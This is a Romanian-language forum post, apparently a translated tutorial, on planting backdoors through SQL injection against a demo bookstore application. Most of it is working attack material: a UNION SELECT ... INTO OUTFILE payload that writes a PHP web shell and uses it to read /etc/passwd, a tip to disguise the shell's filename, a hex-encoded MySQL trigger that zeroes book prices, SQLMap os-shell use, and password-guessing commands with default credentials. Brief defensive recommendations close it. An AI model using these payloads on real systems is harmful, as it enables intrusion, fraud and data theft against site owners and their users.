Search the Community

Introducere Daca citesti articolul atunci sunt destul de sigur ca ai auzit de un virus, altfel numit Trojan horse sau worm, care iti poate infecta sistemul. Odata infectat, sistemul tau ar putea infecta altele, de asemenea, cum ar fi: atunci cand te conectezi la o retea cu sistemul infectat. De multe ori, malware-ul, pe langa faptul ca se raspandeste catre alte sisteme, dar schimba cate ceva la fiecare. Aceste schimbari, vor lasa virusul sa controleze de la distanta, fiecare sistem infectat, mai devreme sau mai tarziu. In acest articol vom gasi cateva moduri in care diferite tipuri de backdoor-uri pot fi introduse intr-un server prin intermediul vulnerabilitatilor SQL Injection. Vom lua spre exemplu o aplicatie pe care o am si este deja vulnerabila pt SQL Injection, si voi utiliza o vulnerabilitate existenta pt a introduce backdoor-ul in sistem. Ce este SQL Injection? Deja sunt peste un milion de articole despre SQL Injection, si cum poate fi descoperit si folosit, asa ca nu ma voi repeta. Aici este un link, catre un articol introductiv, daca ai nevoie de informatii in plus despre SQL Injections. Articolul include de asemenea un nr de referinte unde poti gasi informatii suplimentare pe baza acestui subiect. Ma rog, acum ca ti`ai clarificat cunostiintele despre SQL Injection si cum sa extragi datele din baza de date. Acum vom folosi aceasta vulnerabilitate descoperita, pentru a crea un backdoor in sistem. (OS) Backdoor... Ceea ce vrem este sa putem sa executam comenzi la intamplare impotriva sistemului de operare exploatand vulnerabilitatile SQL Injection. Pentru a executa comenzi sistemului de operare, vom avea nevoie de o comanda (CMD) shell, sau vom fi nevoiti sa rulam codul care ne permite sa exeutam comenzi pe OS. Sa incercam ambele tehnici. Obtinerea unui OS Shell Acum vom incerca sa scriem propriul nostru cod in server care ne va ajuta sa executam corect comenzile OS impotriva serverului. Asa cum deja stim, din articoul precedent, ca parametrul de cautare este vulnerabil catre SQL Injection, si ca sunt puse la mijloc 4 coloane. Ca a ne reaminti, un input al Harry Potter’ union select 1,2,3,4# ne da o eroare. Acum amintesteti, vrem sa inseram propriul cod PHP astfel incat sa executam comenzile shell. Pentru a face asta folosim optiunea INTO OUTFILE. Folosind INTO OUTFILE este posibil ca output-ul unui query, sa fie redirectionat intr-un document al sistemului de operare. Asa ca, daca folosinm ca input - Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#, secventa ‘TEXT INTO FILE’ va fi memorata in fisierul blah.TXT in directorul /tmp. Acum in loc de 'TEXT INTO FILE', vom folosi cateva coduri PHP de baza, ce va citi si rula o comanda din URL, pe sistemul de operare, folosind-ul ca input. Aici este input-ul pe care il vom folosi: Harry Potter’ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# Deci voi modifica query-ul, si voi renunta la Harry Potter, in loc de asta, voi folosi - ‘ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# si voi rula din nou... Asta este mult mai bine, chiar daca inca mai apar 2 si 3. Sa incercam sa accesam pagina execcmd.php, si sa trecem comanda [cat /etc/passwd] pe care vrem sa o executam ca un argument. A mers. Mai sunt cateva lucruri de amintit aici, pe care le`am descoperit in timp ce incercam toate astea. -- User-ul database care ruleaza aceste query-uri impotriva bazei de date trebuie sa aibe FILE privilege, altefel nu poate utiliza comanda INTO OUTFILE. -- Aici ar trebui sa fie un director in webroot, in care utilizatorul serviciului MySQL poate scrie; altfel nu poti accesa web shell-ul pe care l`ai incarcat; poti scrie asta intr-un director world writeable, cum ar fi /tmp, dar atunci nu l`ai putea accesa. Cea mai usoara cale sa o faci, sa incerci sa iei un shell, este sa folosesti un inbuilt SQLMap. Daca citesti articolul(InfoSec Resources – Blind SQL Injection 1.0 – Attack Anatomy), iti vei aminti ca am folosit SQLMap. Hai sa folosim acelasi cod din nou pentru a demontra optiunea SQLMap. Mai jos este un screenshot al OS shell obtinut adaugand o simpla optiune a SQLMap, apoi selectand un PHP Web shell. Ruleaza o comanda doar pentru a verifica daca chiar este un shell. Si da, este. Din pacate, asta este cam cat de usoare sunt lucrurile cateodata din perspectiva "baietilor rai". Acum, probabil ca nu vrei sa folosesti tehnica anterioara, deoarece aceasta este mai usoara si mai rapida, dar intotdeauna ajuta sa cunosti metoda manuala( vei avea nevoie de ajutor daca tool-urile esueaza ). Inca un lucru de retinut, dupa ce Web shell-ul este creat, foloseste un nume care este similar cu numele fisierelor care deja exista in webroot. Aceasta te va proteja in a fi usor descoperit. Inainte sa trecem la urmatorul tip de backdoor, vreau sa iti arat ce SQLMap tine "sub capota". Poti rula SQLMap cum un set de proxy-uri pentru a face asta. Inainteaza cateva solicitari pana cand Web shell-ul este gata urcat folosind SQLMap pe un director world writeable, si uita`te la query-ul care actioneaza impotriva bazei de date. Hmm...ar trebui sa vedem ceva similar. Vom decoda URL-ul pentru a fi siguri. Uita-te la partea albastra evidentiata in josul paginii. Reiese ca SQLMap utilizeaza comanda INTO OUTFILE; aceeasi comanda pe care am utilizat-o mai devreme cand invatam tehnica manuala. In sfarsit, sa ne uitam la continutul Web Shell-ului pe care SQLMap il upload-eaza. E mult mai atractiv. Uita-te la panoul de jos. Ceea ce e important aici, inca o data, este ca unealta ne simplifica semnificativ munca, dar face acelasi lucru (in mare) pe care il faceam daca ne permiteam luxul unui timp nelimitat . Un backdoor database... Deci acum stim ca un backdoor poate fi plantat pe un sistem daca aplicatia este vulnerabil la SQL Injection. Acum, la fel de bine, sa vedem cum un backdoor poate fi plantat in baza de date. Inainte de a incepe totusi, avem nevoie de putine informatii despre cum functioneaza un backdoor. In backdoor-ul OS-ului, am accesat directi backdoor-ul si i-am trecut comanda; aici e putin mai indirect. Backdoor-ul pe care il configuram va schimba valorile datelor sensibile din baza de date de fiecare data cand operatiunea Insert este selectata. Deci, de fiecare data cand o noua carte este atasata bazei de date backdoor-ul nostru ii va seta pretul la 0, asa incat oamenii pot cumpara carti fara a plati pentru ele. Acest lucru va fi detectat destul de rapid in lumea reala totusi. Deci avem ceva numit "mecanism de declansare" in baza de date; asta inseamna de fapt - "Atunci cand ceva ce vreau sa se fi intamplat se intampla, apasa pe tragaci si fa altceva". Asta e de fapt prea vag. Deci, sa luam un exemplu putin mai sensibil. Sa zicem ca esti un politist. In momentul in care vezi un criminal in serie, apesi pe tragaci (mecanismul de declansare) si glontul este eliberat. Corect? Deci, revenind - aici este un INSERT(criminalul), baza de date (tragaciul) este apasat si actiunea pe care ai configurat-o (glontul) are loc. Aici este trigger-ul MySQL pe care il vom scrie. delimiter # CREATE TRIGGER price BEFORE INSERT ON books for each row begin set new.price='0'; end;# delimiter ; Si asta este ce inseamna... a) Setam delimitatorul MySQL ca "#". Asta e deoarece delimitatorul implicit este a ; si e tratata ca un caracter special in MySQL. Oricum, avem de nevoie ca aceasta sa fie tratata ca data. Deci noi schimbam delimitatorul intr-un "#"; ceea ce inseamna ca "#" are acum un sens special. Ori de cate ori va fi un insert, adica ori de cate ori se adauga o noua carte, seteaza pretul acelei carti in 0. c) Termina trigger-ul si seteaza delimitatorul inapoi in a ; Codul pentru acel trigger are nevoie sa ruleze cumva. Deci noi avem nevoie cumva sa punem codul pe server. Sa folosim vulnerabilitatea SQL Injection pe care o stim despre prima copie a trigger-ului pe server. Asta este input-ul pe care noi il vom folosi pe Search box. Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2? LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464 f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a7 36574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b# Voi da o scurta explicatie a acestul query - deoarece deja pare a fi complex - desi in realitate nu este. Folosim un 1=0 deoarece nu suntem interesati de rezultatele query-ului Harry Potter. 0x20 este doar caracterul 'space' de trei ori; asta este doar pentru a face rost de lucrurile de care avem nevoie (syntaxa valida a trigger-ului) in fisierul 'var/www/test/g2'. Ce urmeaza dupa LINES TERMINATED BY este intregul trigger in hex. Deci, sa`l rulam acum si sa vedem ce apare in fisierul /var/www/test/g2. Ai observat spatiile de la inceput? Este deoarece am selectat 0x20,0x20,0x20 dupa cum s`a vazut. Restul se intelege de la sine. Acum noi cumva trebuie sa executam acest query, deci trigger-ul este activat de fiecare data cand o carte este 'INSERTed'. Aici sunt 3 moduri in care asta poate fi realizata: 1)Stacked queries - Harry Potter’ UNION blah blah blah; source /var/www/test/g2 Asta oricum nu merge deoarece stacked queries nu sunt suportate pe PHP-MySQL Abuzand trigger-ul implicit MySQL Aceasta este o tehnica in care nu am avut incredere, dar care este documentata foarte clar de Stefano Di Paola. O poti incerca; Voi face la fel uneori. c) Utilizand un tool pentru SQL injection ca SQLMap pentru a rula trigger-ul salvat in fisierul /var/www/tst/g2 Aceasta este metoda pe care o vom testa Deci sa rulam SQLMap din nou pentru a obtine un SQL shell unde putem incerca trigger-ul. Uita`te la ultima linie. Din pacate, singura cale sa facem asta sa mearga este atunci cand stacked query este disponibil. Asta inseamna ca optiunile a si c de mai sus se refera la acelasi lucru. Sa confirmam asta uitandu`ne la proxy-ul SQLMap. Sa executam un simplu query care va crea o noua baza de date. - ‘create database boo;’ in sql-shell si ne uitam dupa Burp. Dupa cum putem vedea, incearca sa o interpreteze ca un query selectat. Asta nu va merge niciodata. Raspunsul de la Burp confirma asta. Singura cale la care ma pot gandi, in scopul de a rula query-ul nostru presupune uratoarele etape: -- Ghicim parola de la MySQL database pentru un user valid. De exemplu, ai ghicit root si test123 -- Injecteaza un OS web shell backdoor (ca mai devreme) -- Acum ruleaza trigger-ul folosind comanda MySQL de pe Web shell si instaleaza trigger-ul. Am inclus cateva screenshot-uri despre cum poate asta sa functioneze. Pentru inceput...aici este un screenshot ce arata ca nu e niciun trigger in database. Sa presupunem ca deja am ghicit username-ul si parola ca fiind root si toor [brute force]. Acum putem accesa Web shell-ul si sa punem urmatoarea comanda: mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2 Acum sa ne uitam la database din nou. Acolo este trigger-ul nostru. Acum sa executam un INSERT query, si sa vedem daca trigger-ul nostru "ruleaza". Acum in query-ul ce ruleaza...... Uita`te la ultima linie. Cineva nu va fi platit atat cat a crezut ca va fi... Acum acolo noi executam direct un INSERT query, inpotriva database. In lumea reala, acolo ar trebui sa fie un formular la "Add Books" ce ar putea avea acest exact INSERT query in backend, si trigger-ul ar trebui mai mult ca sigur inca sa ruleze. Asta este singurul motiv pentru care nu am creat un nou formular(si sunt prea lenes sa fac asta). Evident marele DACA in acest atac este ca vom fi nevoiti sa ghicim username-ul si parola pentru baza de date. Fara a intra prea mult in detalii, aici este un mod de abordare: -- Gandeste-te la cateva database usernames cunoscute [ex: root in cazul in care este MySQL] sau Social Engineering pentru a face rost de ele. -- MySQL passwords sunt hashed in zilele noastre; deci parola nu va fi "clear text" -- Poti incerca sa crack-ezi parolele in 2 moduri (la care m`am putut gandi): * Foloseste vulnerabilitatea SQL injection sa compari listele de parole comparativ cu parolele stocate. (Blind SQL) * Executa trigger-ul in Web shell cu intreaga lista a parolelor cleartext pentru un account specific(Poti scrie un script in Perl sau Ruby care sa faca asta pentru tine). Incearca sa inserezi o carte dupa ce toata lista de parole a fost vazuta sau dupa fiecare incercare de a ghici parola pentru a-ti da seama care a mers. * mysql -uroot -ptoor blindsql_test< /var/www/test/g2 * mysql -uroot -proot blindsql_test< /var/www/test/g2 * mysql -uroot -ptest blindsql_test< /var/www/test/g2 * mysql -uroot -ppassword blindsql_test< /var/www/test/g2 Recomandari: * Foloseste queri-uri parametrizate pentru a te proteja inpotriva SQL injection * Asigura-te ca nu ai niciun director "world writeable" in webroot. * Restrictioneaza privilegiile userului aplicatiei, care iti interogheaza baza de date. In acest caz, nu lasa fisierul in mainile acelui user. * Scapa de toate accounturile implicite ale bazei de date * Foloseste parola puternice si o politica a parolelor puternica Concluzie Radacina problemei ramane, aplicatia e vulnerabila la SQL Injection. Repararea acesteia va preveni problema. Oricum, e bine sa stii diferite moduri in care backdoor-urile pot fi plantate. Multe "malware" o sa se raspandi in acest mod; si este important sa iei masuri pentru a te proteja de ei. Referinte: High level overview: SQL backdoor - Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools Blind SQL Injection: InfoSec Resources – Blind SQL Injection 1.0 – Attack Anatomy Select into a file: MySQL :: MySQL 5.0 Reference Manual :: 13.2.8.1 SELECT ... INTO Syntax Triggers: MySQL :: MySQL 5.0 Reference Manual :: 18.3 Using Triggers MySQL :: MySQL 5.0 Reference Manual :: 13.1.11 CREATE TRIGGER Syntax MySQL :: MySQL 5.0 Reference Manual :: 13.1.18 DROP TRIGGER Syntax Burp Decoder: Burp Decoder Help Execute SQL commands from a text file: MySQL :: MySQL 5.0 Reference Manual :: 4.5.1.5 Executing SQL Statements from a Text File Create a new user: MySQL :: MySQL 5.1 Reference Manual :: 13.7.1.1 CREATE USER Syntax Automate web requests with Perl: LWP::Simple - search.cpan.org English tutorial: InfoSec Resources – Creating Backdoors Using SQL Injection